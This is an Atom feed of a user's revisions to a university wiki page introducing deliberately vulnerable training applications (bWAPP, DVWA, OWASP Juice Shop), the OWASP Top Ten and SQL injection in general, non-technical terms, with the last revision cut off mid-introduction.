<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=CEberhart</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=CEberhart"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/CEberhart"/>
	<updated>2026-09-10T19:51:18Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5531</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5531"/>
		<updated>2020-12-21T19:02:54Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP, DVWA and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The three insecure web services bWAPP, DVWA and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in the following papers: &amp;lt;/br&amp;gt;&lt;br /&gt;
[[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5529</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5529"/>
		<updated>2020-12-21T19:02:12Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP, DVWA and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The three insecure web services bWAPP, DVWA and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in the following papers: &amp;lt;/br&amp;gt;&lt;br /&gt;
[[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basics]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5528</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5528"/>
		<updated>2020-12-21T19:01:45Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Conclusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP, DVWA and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The three insecure web services bWAPP, DVWA and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in the following papers: &amp;lt;/br&amp;gt;&lt;br /&gt;
[[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5527</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5527"/>
		<updated>2020-12-21T19:00:45Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Conclusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in the following papers: &amp;lt;/br&amp;gt;&lt;br /&gt;
[[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5525</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5525"/>
		<updated>2020-12-21T18:59:28Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*[[bWAPP]] (buggy web application)&lt;br /&gt;
*[[DVWA]](damn vulnerable web app)&lt;br /&gt;
*[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in the papers: [[seminar paper]] [[]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5524</id>
		<title>Vulnerable Web Services</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Vulnerable_Web_Services&amp;diff=5524"/>
		<updated>2020-12-21T18:58:28Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
